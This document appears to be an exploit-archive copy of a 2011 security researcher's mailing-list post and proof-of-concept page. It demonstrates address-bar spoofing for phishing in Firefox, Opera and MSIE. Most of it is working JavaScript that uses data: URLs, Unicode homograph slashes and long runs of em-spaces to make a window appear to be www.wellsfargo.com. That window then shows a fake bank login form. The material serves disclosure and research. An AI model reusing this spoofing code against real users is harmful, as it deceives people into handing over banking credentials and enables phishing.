Firefox and Opera allow you to omit MIME type in data: URLs, possibly put random garbage into that section, and still get a valid HTML document. This is a natural extension of how the Content-Type header is handled in HTTP, but probably makes little or no sense here. With the use of Unicode homographs, you can create fairly believable URLs especially in Firefox.
8b57d561f4e10efd5110b290028c3daaae1403920829de2c3cc32719b52d7e6e
/*
From: Michal Zalewski <lcamtuf@coredump.cx>
Date: Fri, 9 Dec 2011 11:04:22 -0800
Subject: the week of silly PoCs continues: data://www.mybank.com/
Just another short note... this is a somewhat compelling and entirely
unnecessary phishing opportunity - and a tiny symptom of the mess with
URL handling.
Firefox and Opera allow you to omit MIME type in data: URLs, possibly
put random garbage into that section, and still get a valid HTML
document. This is a natural extension of how the Content-Type header
is handled in HTTP, but probably makes little or no sense here.
With the use of Unicode homographs, you can create fairly believable
URLs especially in Firefox:
http://lcamtuf.coredump.cx/switch/index2.html
The appearance may vary depending on your font selection; see
http://lcamtuf.coredump.cx/switch/reference.jpg for a sample capture.
If you know the special role of "data:", this won't fool you. But most
browser users don't, even if they grasp the basics of URL syntax to
begin with (of course, that part itself is not true in all too many
cases).
PS. It is probably better known that a less convincing variant of this
can be achieved with javascript: URLs in MSIE and some other browsers.
/mz
*/
Exploit:
<script>
var spaces = '\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003\u2003';
var bank_html =
'<html><title>Beaver Peak Banking and BBQ</title>' +
'<link rel="shortcut icon" href="http://lcamtuf.coredump.cx/ffabout/lock.ico">' +
'<img src="http://banking.beaver-peak.us/banking_interface/beaver-peak.jpg" style="float: left; margin-right: 10px">' +
'<font size=+3 color=steelblue><b>Beaver Peak Banking and BBQ</b></font><br>' +
'<i>"Best steaks in town!"</i> -- Creek and Brook Daily<br clear="all"><p> ' +
'<p><b>Please login to our secure banking system:</b><p><table><tr><td>Login:</td><td><input type=text></td></tr><tr>' +
'<td>Password:</td><td><input type=password></td></tr></table><p><input type=submit value="Log in!">' +
'<p><div style="border-width: 1px 0 0 0;border-color:steelblue; border-style:solid">' +
'<font color=gray size=-1>Member FDIC. FDA certified. Truck parking available.</font></div>';
var w;
function dostuff() {
if (navigator.userAgent.indexOf('Safari/') != -1)
alert('Sorry, no worky in this browser.');
if (navigator.userAgent.indexOf('; MSIE') != -1) {
w = window.open('javascript://www.wellsfargo.com/' + spaces + '%0a"<title>Beaver Peak Banking and BBQ</title>"', 'target');
setTimeout('w.document.body.innerHTML = bank_html', 100);
} else if(navigator.userAgent.indexOf('Opera/') != -1) {
w = window.open('data:,//www.wellsfargo.com/', 'target');
setTimeout('w.document.body.innerHTML = bank_html', 100);
} else {
w = window.open('data:\u2044\u2044www.wellsfargo.com\u2044' + spaces +',' + escape(bank_html), 'target');
}
}
</script>
<h3>You sniff MIME / assume HTML on <i>what</i>?</h3>
Just a delicious and completely unnecessary vector for phishing. The most convincing version of this is for Firefox,
thanks to Unicode homographs (YMMV, but here's a
<a href="reference.jpg">reference rendering</a>);
Opera comes second, and the MSIE variant (using a different approach) is barely of
any interest.
<p>
Safari and Chrome avoid the problem by not doing MIME sniffing or
presuming HTML on <code>data:</code> URLs (and by subsequently giving them a unique origin). The MSIE variant is
prevented in said browsers by not showing <code>javascript:"..."</code> URLs in the address bar.
<p>
<input type=submit onclick="dostuff()" value="Show me the thing"><p>
<p>
PS. If you combine this with my <a href="http://lcamtuf.coredump.cx/switch/">earlier PoC</a> to seamlessly replace http://www.trustedsite.com with
data://www.trustedsite.com, things get slightly more interesting.